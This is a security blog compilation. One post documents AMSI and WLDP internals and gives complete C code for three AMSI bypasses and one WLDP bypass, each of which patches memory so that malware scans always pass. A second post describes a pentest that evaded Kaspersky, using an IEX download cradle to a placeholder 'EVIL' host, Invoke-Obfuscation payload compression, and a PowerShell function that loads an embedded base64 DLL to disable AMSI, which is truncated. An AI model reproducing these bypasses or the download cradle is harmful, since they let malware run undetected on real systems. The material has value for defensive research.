How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code

Original text by modexp

1. Introduction

v4.8 of the dotnet framework uses Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator. This post documents three publicly-known methods red teams currently use to bypass AMSI and one to bypass WLDP. The bypass methods described are somewhat generic and don’t require special knowledge of AMSI or WLDP. If you’re reading this post anytime after June 2019, the methods may no longer work. The research of AMSI and WLDP was conducted in collaboration with TheWover.

2. Previous Research

The following table includes links to past research about AMSI and WLDP. If you feel I’ve missed anyone, don’t hesitate to e-mail me the details.

DateArticle
May 2016Bypassing Amsi using PowerShell 5 DLL Hijacking by Cneelis
Jul 2017Bypassing AMSI via COM Server Hijacking by Matt Nelson
Jul 2017Bypassing Device Guard with .NET Assembly Compilation Methods by Matt Graeber
Feb 2018AMSI Bypass With a Null Character by Satoshi Tanda
Feb 2018AMSI Bypass: Patching Technique by CyberArk (Avi Gimpel and Zeev Ben Porat).
Feb 2018The Rise and Fall of AMSI by Tal Liberman (Ensilo).
May 2018AMSI Bypass Redux by Avi Gimpel (CyberArk).
Jun 2018Exploring PowerShell AMSI and Logging Evasion by Adam Chester
Jun 2018Disabling AMSI in JScript with One Simple Trick by James Forshaw
Jun 2018Documenting and Attacking a Windows Defender Application Control Feature the Hard Way – A Case Study in Security Research Methodology by Matt Graeber
Oct 2018How to bypass AMSI and execute ANY malicious Powershell code by Andre Marques
Oct 2018AmsiScanBuffer Bypass Part 1Part 2Part 3Part 4 by Rasta Mouse
Dec 2018PoC function to corrupt the g_amsiContext global variable in clr.dll by Matt Graeber
Apr 2019Bypassing AMSI for VBA by Pieter Ceelen (Outflank)

3. AMSI Example in C

Given the path to a file, the following function will open it, map into memory and use AMSI to detect if the contents are harmful or blocked by the administrator.

typedef HRESULT (WINAPI *AmsiInitialize_t)(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext);

typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result);

typedef void (WINAPI *AmsiUninitialize_t)(
  HAMSICONTEXT amsiContext);
  
BOOL IsMalware(const char *path) {
    AmsiInitialize_t   _AmsiInitialize;
    AmsiScanBuffer_t   _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HAMSICONTEXT       ctx;
    AMSI_RESULT        res;
    HMODULE            amsi;
    
    HANDLE             file, map, mem;
    HRESULT            hr = -1;
    DWORD              size, high;
    BOOL               malware = FALSE;
    
    // load amsi library
    amsi = LoadLibrary("amsi");
    
    // resolve functions
    _AmsiInitialize = 
      (AmsiInitialize_t)
      GetProcAddress(amsi, "AmsiInitialize");
    
    _AmsiScanBuffer =
      (AmsiScanBuffer_t)
      GetProcAddress(amsi, "AmsiScanBuffer");
      
    _AmsiUninitialize = 
      (AmsiUninitialize_t)
      GetProcAddress(amsi, "AmsiUninitialize");
      
    // return FALSE on failure
    if(_AmsiInitialize   == NULL ||
       _AmsiScanBuffer   == NULL ||
       _AmsiUninitialize == NULL) {
      printf("Unable to resolve AMSI functions.\n");
      return FALSE;
    }
    
    // open file for reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 
    
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      size = GetFileSize(file, &high);
      if(size != 0) {
        // create mapping
        map = CreateFileMapping(
          file, NULL, PAGE_READONLY, 0, 0, 0);
          
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(
            map, FILE_MAP_READ, 0, 0, 0);
            
          if(mem != NULL) {
            // scan for malware
            hr = _AmsiInitialize(L"AMSI Example", &ctx);
            if(hr == S_OK) {
              hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
              if(hr == S_OK) {
                malware = (AmsiResultIsMalware(res) || 
                           AmsiResultIsBlockedByAdmin(res));
              }
              _AmsiUninitialize(ctx);
            }              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return malware;
}

Scanning a good and bad file.

If you’re already familiar with the internals of AMSI, you can skip to the bypass methods here.

4. AMSI Context

The context is an undocumented structure, but you may use the following to interpret the handle returned.

typedef struct tagHAMSICONTEXT {
  DWORD        Signature;          // "AMSI" or 0x49534D41
  PWCHAR       AppName;            // set by AmsiInitialize
  IAntimalware *Antimalware;       // set by AmsiInitialize
  DWORD        SessionCount;       // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;

5. AMSI Initialization

appName points to a user-defined string in unicode format while amsiContext points to a handle of type HAMSICONTEXT. It returns S_OK if an AMSI context was successfully initialized. The following code is not a full implementation of the function, but should help you understand what happens internally.

HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
    _HAMSICONTEXT *ctx;
    HRESULT       hr;
    int           nameLen;
    IClassFactory *clsFactory = NULL;
    
    // invalid arguments?
    if(appName == NULL || amsiContext == NULL) {
      return E_INVALIDARG;
    }
    
    // allocate memory for context
    ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
    if(ctx == NULL) {
      return E_OUTOFMEMORY;
    }
    
    // initialize to zero
    ZeroMemory(ctx, sizeof(_HAMSICONTEXT));
    
    // set the signature to "AMSI"
    ctx->Signature = 0x49534D41;
    
    // allocate memory for the appName and copy to buffer
    nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
    ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
    
    if(ctx->AppName == NULL) {
      hr = E_OUTOFMEMORY;
    } else {
      // set the app name
      lstrcpy(ctx->AppName, appName);
      
      // instantiate class factory
      hr = DllGetClassObject(
        CLSID_Antimalware, 
        IID_IClassFactory, 
        (LPVOID*)&clsFactory);
        
      if(hr == S_OK) {
        // instantiate Antimalware interface
        hr = clsFactory->CreateInstance(
          NULL,
          IID_IAntimalware, 
          (LPVOID*)&ctx->Antimalware);
        
        // free class factory
        clsFactory->Release();
        
        // save pointer to context
        *amsiContext = ctx;
      }
    }
    
    // if anything failed, free context
    if(hr != S_OK) {
      AmsiFreeContext(ctx);
    }
    return hr;
}

Memory is allocated on the heap for a HAMSICONTEXT structure and initialized using the appName, the AMSI signature (0x49534D41) and IAntimalware interface.

6. AMSI Scanning

The following code gives you a rough idea of what happens when the function is invoked. If the scan is successful, the result returned will be S_OK and the AMSI_RESULT should be inspected to determine if the buffer contains unwanted software.

HRESULT _AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    _HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;
    
    // validate arguments
    if(buffer           == NULL       ||
       length           == 0          ||
       amsiResult       == NULL       ||
       ctx              == NULL       ||
       ctx->Signature   != 0x49534D41 ||
       ctx->AppName     == NULL       ||
       ctx->Antimalware == NULL)
    {
      return E_INVALIDARG;
    }
    
    // scan buffer
    return ctx->Antimalware->Scan(
      ctx->Antimalware,     // rcx = this
      &CAmsiBufferStream,   // rdx = IAmsiBufferStream interface
      amsiResult,           // r8  = AMSI_RESULT
      NULL,                 // r9  = IAntimalwareProvider
      amsiContext,          // HAMSICONTEXT
      CAmsiBufferStream,
      buffer,
      length, 
      contentName,
      amsiSession);
}

Note how arguments are validated. This is one of the many ways AmsiScanBuffer can be forced to fail and return E_INVALIDARG.

7. CLR Implementation of AMSI

CLR uses a private function called AmsiScan to detect unwanted software passed via a Loadmethod. Detection can result in termination of a .NET process, but not necessarily an unmanaged process using the CLR hosting interfaces. The following code gives you a rough idea of how CLR implements AMSI.

AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT     *g_amsiContext;

VOID AmsiScan(PVOID buffer, ULONG length) {
    HMODULE          amsi;
    HAMSICONTEXT     *ctx;
    HAMSI_RESULT     amsiResult;
    HRESULT          hr;
    
    // if global context not initialized
    if(g_amsiContext == NULL) {
      // load AMSI.dll
      amsi = LoadLibraryEx(
        L"amsi.dll", 
        NULL, 
        LOAD_LIBRARY_SEARCH_SYSTEM32);
        
      if(amsi != NULL) {
        // resolve address of init function
        _AmsiInitialize = 
          (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
        
        // resolve address of scanning function
        _AmsiScanBuffer =
          (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
        
        // failed to resolve either? exit scan
        if(_AmsiInitialize == NULL ||
           _AmsiScanBuffer == NULL) return;
           
        hr = _AmsiInitialize(L"DotNet", &ctx);
        
        if(hr == S_OK) {
          // update global variable
          g_amsiContext = ctx;
        }
      }
    }
    if(g_amsiContext != NULL) {
      // scan buffer
      hr = _AmsiScanBuffer(
        g_amsiContext,
        buffer,
        length,
        0,
        0,        
        &amsiResult);
        
      if(hr == S_OK) {
        // if malware was detected or it's blocked by admin
        if(AmsiResultIsMalware(amsiResult) ||
           AmsiResultIsBlockedByAdmin(amsiResult))
        {
          // "Operation did not complete successfully because "
          // "the file contains a virus or potentially unwanted" 
          // software.
          GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
          ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);          
        }           
      }
    }
}

When AmsiScan is called for the first time, it invokes AmsiInitialize, and if successful will return a pointer to an AMSI context. The pointer is then saved to a global variable called g_amsiContext to be used for later scans. If buffer does contain harmful code, ThrowHR is called with COR_E_BADIMAGEFORMAT and ERROR_VIRUS_INFECTED as the secondary error. The problem with this code is that AmsiScanBuffer will return E_INVALIDARG if the AMSI context is corrupt and the fact AmsiScan doesn’t bother to investigate why.

8. AMSI Bypass A (Patching Data)

Matt Graeber provided a PoC that corrupts the context CLR!g_amsiContext points to, thus causing AmsiScanBuffer to return E_INVALIDARG. As you can see from the CLR implementation, this works because the result of CLR!AmsiScan is never validated for success or failure. The assumption is that it will simply throw an error and terminate the host application upon any attempt to load unwanted software. However, an unmanaged application hosting a .NET assembly is likely to handle any C++ exception. Windows Defender would still log the detection of harmful code, but the unmanaged host application would in some cases continue to run. To disable AMSI via g_amsiContext, one can either search through the heap memory pointed to by PEB.ProcessHeap or through each pointer found in the virtual address space of the .data segment. The following code demonstrates the latter approach. This only works _after_ CLR has called AmsiScan.

BOOL DisableAMSI(VOID) {
    LPVOID                   hCLR;
    BOOL                     disabled = FALSE;
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    PIMAGE_SECTION_HEADER    sh;
    DWORD                    i, j, res;
    PBYTE                    ds;
    MEMORY_BASIC_INFORMATION mbi;
    _PHAMSICONTEXT           ctx;
    
    hCLR = GetModuleHandleA("CLR");
    
    if(hCLR != NULL) {
      dos = (PIMAGE_DOS_HEADER)hCLR;  
      nt  = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);  
      sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
             nt->FileHeader.SizeOfOptionalHeader);
             
      // scan all writeable segments while disabled == FALSE
      for(i = 0; 
          i < nt->FileHeader.NumberOfSections && !disabled; 
          i++) 
      {
        // if this section is writeable, assume it's data
        if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
          // scan section for pointers to the heap
          ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);
           
          for(j = 0; 
              j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR); 
              j += sizeof(ULONG_PTR)) 
          {
            // get pointer
            ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
            // query if the pointer
            res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
            if(res != sizeof(mbi)) continue;
            
            // if it's a pointer to heap or stack
            if ((mbi.State   == MEM_COMMIT    ) &&
                (mbi.Type    == MEM_PRIVATE   ) && 
                (mbi.Protect == PAGE_READWRITE))
            {
              ctx = (_PHAMSICONTEXT)ptr;
              // check if it contains the signature 
              if(ctx->Signature == 0x49534D41) {
                // corrupt it
                ctx->Signature++;
                disabled = TRUE;
                break;
              }
            }
          }
        }
      }
    }
    return disabled;
}

9. AMSI Bypass B (Patching Code 1)

CyberArk suggest patching AmsiScanBuffer with 2 instructions xor edi, edi, nop. If you wanted to hook the function, using a Length Disassembler Engine (LDE) might be helpful for calculating the correct number of prolog bytes to save before overwriting with a jump to alternate function. Since the AMSI context passed into this function is validated and one of the tests require the Signature to be “AMSI”, you might locate that immediate value and simply change it to something else. In the following example, we’re corrupting the signature in code rather than context/data as demonstrated by Matt Graeber.

BOOL DisableAMSI(VOID) {
    HMODULE        dll;
    PBYTE          cs;
    DWORD          i, op, t;
    BOOL           disabled = FALSE;
    _PHAMSICONTEXT ctx;
    
    // load AMSI library
    dll = LoadLibraryExA(
      "amsi", NULL, 
      LOAD_LIBRARY_SEARCH_SYSTEM32);
      
    if(dll == NULL) {
      return FALSE;
    }
    // resolve address of function to patch
    cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
    
    // scan for signature
    for(i=0;;i++) {
      ctx = (_PHAMSICONTEXT)&cs[i];
      // is it "AMSI"?
      if(ctx->Signature == 0x49534D41) {
        // set page protection for write access
        VirtualProtect(cs, sizeof(ULONG_PTR), 
          PAGE_EXECUTE_READWRITE, &op);
          
        // change signature
        ctx->Signature++;
        
        // set page back to original protection
        VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
        disabled = TRUE;
        break;
      }
    }
    return disabled;
}

10. AMSI Bypass C (Patching Code 2)

Tal Liberman suggests overwriting the prolog bytes of AmsiScanBuffer to return 1. The following code also overwrites that function so that it returns AMSI_RESULT_CLEAN and S_OKfor every buffer scanned by CLR.

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

static VOID AmsiScanBufferStubEnd(VOID) {}

BOOL DisableAMSI(VOID) {
    BOOL    disabled = FALSE;
    HMODULE amsi;
    DWORD   len, op, t;
    LPVOID  cs;
    
    // load amsi
    amsi = LoadLibrary("amsi");
    
    if(amsi != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(amsi, "AmsiScanBuffer");
      
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)AmsiScanBufferStubEnd -
          (ULONG_PTR)AmsiScanBufferStub;
          
        // make the memory writeable
        if(VirtualProtect(
          cs, len, PAGE_EXECUTE_READWRITE, &op))
        {
          // over write with code stub
          memcpy(cs, &AmsiScanBufferStub, len);
          
          disabled = TRUE;
            
          // set back to original protection
          VirtualProtect(cs, len, op, &t);
        }
      }
    }
    return disabled;
}

After the patch is applied, we see unwanted software is flagged as safe.

11. WLDP Example in C

The following function demonstrates how to query the trust of dynamic code in-memory using Windows Lockdown Policy.

BOOL VerifyCodeTrust(const char *path) {
    WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
    HMODULE                     wldp;
    HANDLE                      file, map, mem;
    HRESULT                     hr = -1;
    DWORD                       low, high;
    
    // load wldp
    wldp = LoadLibrary("wldp");
    _WldpQueryDynamicCodeTrust = 
      (WldpQueryDynamicCodeTrust_t)
      GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
    
    // return FALSE on failure
    if(_WldpQueryDynamicCodeTrust == NULL) {
      printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n");
      return FALSE;
    }
    
    // open file reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 
    
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      low = GetFileSize(file, &high);
      if(low != 0) {
        // create mapping
        map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
          if(mem != NULL) {
            // verify signature
            hr = _WldpQueryDynamicCodeTrust(0, mem, low);              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return hr == S_OK;
}

12. WLDP Bypass A (Patching Code 1)

Overwriting the function with a code stub that always returns S_OK.

// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
    HANDLE fileHandle,
    PVOID  baseImage,
    ULONG  ImageSize)
{
    return S_OK;
}

static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}

static BOOL PatchWldp(VOID) {
    BOOL    patched = FALSE;
    HMODULE wldp;
    DWORD   len, op, t;
    LPVOID  cs;
    
    // load wldp
    wldp = LoadLibrary("wldp");
    
    if(wldp != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
      
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd -
          (ULONG_PTR)WldpQueryDynamicCodeTrustStub;
          
        // make the memory writeable
        if(VirtualProtect(
          cs, len, PAGE_EXECUTE_READWRITE, &op))
        {
          // over write with stub
          memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
        
          patched = TRUE;
        
          // set back to original protection
          VirtualProtect(cs, len, op, &t);
        }
      }
    }
    return patched;
}

Although the methods described here are easy to detect, they remain effective against the latest release of DotNet framework on Windows 10. So long as it’s possible to patch data or code used by AMSI to detect harmful code, the potential to bypass it will always exist.

Реклама

Bypassing Kaspersky Endpoint Security 11

( Original text by 0xc0ffee )

Introduction

During a recent engagement, I was given a Windows tablet with no (pentest) tools installed and was asked to test its security and test how far I could go by compromising it. I had my own laptop but I was not allowed to directly connect to the internal network with it. However, I could use it as a C2 if I were to successfully compromise the tablet. Long story short, obtaining the initial shell was more difficult than owning the network due to the antivirus(es) that were required to bypass.

Setup

  1. Fully patched Windows 10 running on the tablet
  2. Up-to-date Kaspersky Endpoint Security 11 (KES11) on the tablet
  3. Google Chrome running a kiosk/PoS mode on the tablet
  4. Powershell Empire listener on the C2

Enumeration

So, I’m in Chrome’s kiosk/PoS mode on the tablet and every Windows shortcut is blocked such as WIN+R, ALT+TAB, CTRL+P, ALT+SPACE, etc. More on that here: Kiosk/POS Breakout Keys in Windows

However, the CTRL+N shortcut to open a new page was not blocked, bingo! We got a new page and Internet access, awesome. I went to the URL bar and quickly used the file:// scheme to download and open cmd.exe:

Instead of rushing straight into the terminal that just popped, I tried to open the Windows Explorer to have GUI access to files and shares by clicking Open file location on the downloaded file. Aaaaand, the action was denied, probably by a GPO.

Back to the terminal:

  1. I enumerated the files and shares and found nothing interesting.
  2. Ran wmic product get name, version to enumerate the installed softwares and associated versions.
  3. Ran wmic qfe get to list the hotfixes.
  4. Ran net user my_user /domain (yes, my_user was domain-joined to simulate an internal attack)
  5. Ran whoami /priv to list my privileges.

Got nothing very interesting exploit-wise that would give me a quick win. I was a domain-joined user with no administrative privileges and had many restrictive GPOs applied to the groups I belonged to. AV wise, Kaspersky Endpoint Security version 11.0.0.6499 was installed and so did Windows Defender.

Fail, fail, fail and succeed

One of my goals was to prove I could bypass the AV by injecting an Empire implant and moving on from there. As this test was not a red team and was time-constrained, I did not replicate the tablet’s environment to perform my tests. So, I started by downloading the Empire Powershell launcher through an encrypted channel with Powershell’s Invoke-Expression: IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there") and that would get detected, not by the AV, but by the firewall that was presumably performing SSL inspection! So, I needed a payload that could atleast get through the firewall before getting executed in memory. To spare you some time, I spent a full day failing over and over, getting either detected by the firewall or the AV, making the sysadmins very happy but also tired of getting alerts.

Compression and memory patching make a good pair

I knew Windows Defender was installed on the tablet and was leaving KES11 take control of most of the anti malware scanning. However, I learned the hard way that KES11 was making use of AMSI’s detection of script-based attacks. In fact, on their website, they mention the use of the AMSI technology, but only on the Kaspersky Security for Windows Serverpage:

Support for AMSI interfaces. Use of AMSI technology, which is integrated in Microsoft Windows, has enabled the improvement of the mechanism for intercepting script launches on the server. The stability of the Script Monitoring task is improved, the application’s influence on the environment is reduced when intercepting scripts and blocking them if threats are detected, and the task scope is significantly expanded – now the Script Monitoring component works not only with scripts in JS and VBS files, but also PS1 files. The functionality is available when the Script Monitoring component is installed on servers running Microsoft Windows Server 2016 or newer.

A colleague of mine recently shared an excellent blog post on how to bypass/disable the Anti Malware Scan Interface (AMSI) without elevated privileges by patching it in memory with a DLL : Bypass AMSI and Execute ANY malicious powershell code

With that in mind, we first need to bypass traffic inspection, remember? Invoke-Obfuscation comes to rescue. Compressing the Empire payload a few times was enough to get around it.

First, we grab the base64 part of our launcher.bat file generated by Empire, decode it and send it over to Invoke-Obfuscation. To do so, we run set SCRIPTBLOCK our_empire_base64decoded_payload:

Next, we run COMPRESS\1 a couple of times to compress our payload:

I then successfully downloaded the file to load it in memory with IEX. But now that the traffic inspection was bypassed, the AV was blocking the execution of the payload (no surprise).

What I learned during this gig was that KES11’s heuristics or signatured-based detections were first firing on my payload before AMSI even had a chance to inspect the script. I had to compress the payload exactly 4 times before it could bypass the AV and then get detected by AMSI:

All that’s left to do is disable AMSI and we’re good to go. I hosted the following code on a web server and downloaded it on the tablet with IEX:

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1AwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAEgAAAACAAUAECEAAMQKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACqAAAAAQAAEXIBAABwKAIAAAYKBn4QAAAKKBEAAAosDHITAABwKBIAAAoXKgZyawAAcCgBAAAGCwd+EAAACigRAAAKLAxyiQAAcCgSAAAKFyobaigTAAAKDBYNBwgfQBIDKAMAAAYtDHL9AABwKBIAAAoXKhmNFgAAASXQAQAABCgUAAAKGSgVAAAKEwQWEQQZKBYAAAoHHxsoFwAAChEEGSgEAAAGcnMBAHAoEgAAChYqHgIoGAAACioAAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAABwDAAAjfgAAiAMAAAAEAAAjU3RyaW5ncwAAAACIBwAAxAEAACNVUwBMCQAAEAAAACNHVUlEAAAAXAkAAGgBAAAjQmxvYgAAAAAAAAACAAABV5UCNAkCAAAA+gEzABYAAAEAAAAaAAAABAAAAAEAAAAGAAAACgAAABgAAAAPAAAAAQAAAAEAAAACAAAABAAAAAEAAAABAAAAAQAAAAEAAAAAAKkCAQAAAAAABgDRASIDBgA+AiIDBgAFAfACDwBCAwAABgAtAb8CBgC0Ab8CBgCVAb8CBgAlAr8CBgDxAb8CBgAKAr8CBgBEAb8CBgAZAQMDBgD3AAMDBgB4Ab8CBgBfAW0CBgCAA7gCBgDcACIDBgDSALgCBgDpArgCBgCqALgCBgDoArgCBgBcArgCBgBRAyIDBgDNA7gCBgCXALgCBgCUAgMDAAAAACYAAAAAAAEAAQABABAAfQBgA0EAAQABAAABAAAvAAAAQQABAAcAEwEAAAoAAABJAAIABwAzAU4AWgAAAAAAgACWIGcDXgABAAAAAACAAJYg2ANkAAMAAAAAAIAAliCWA2kABAAAAAAAgACRIOcDcgAIAFAgAAAAAJYAjwB5AAsABiEAAAAAhhjiAgYACwAAAAEAsgAAAAIAugAAAAEAwwAAAAEAdgMAAAIAYQIAAAMApQMCAAQAhwMAAAEAvgMAAAIAiwAAAAMAaAIJAOICAQARAOICBgAZAOICCgApAOICEAAxAOICEAA5AOICEABBAOICEABJAOICEABRAOICEABZAOICEABhAOICFQBpAOICEABxAOICEAB5AOICEACJAOICBgCZAN0CIgCZAPIDJQChAMgAKwCpALIDMAC5AMMDNQDRAIcCPQDRANMDQgCZANECSwCBAOICBgAuAAsAfQAuABMAhgAuABsApQAuACMArgAuACsAvgAuADMAvgAuADsAvgAuAEMArgAuAEsAxAAuAFMAvgAuAFsAvgAuAGMA3AAuAGsABgEuAHMAEwFjAHsAYQEBAAMAAAAEABoAAQCcAgABAwBnAwEAAAEFANgDAQAAAQcAlgMBAAABCQDkAwIAzCwAAAEABIAAAAEAAAAAAAAAAAAAAAAAdwAAAAQAAAAAAAAAAAAAAFEAggAAAAAABAADAAAAAAAAa2VybmVsMzIAX19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgA1MUNBRkI0ODEzOUIwMkUwNjFENDkxOUM1MTc2NjIxQkY4N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6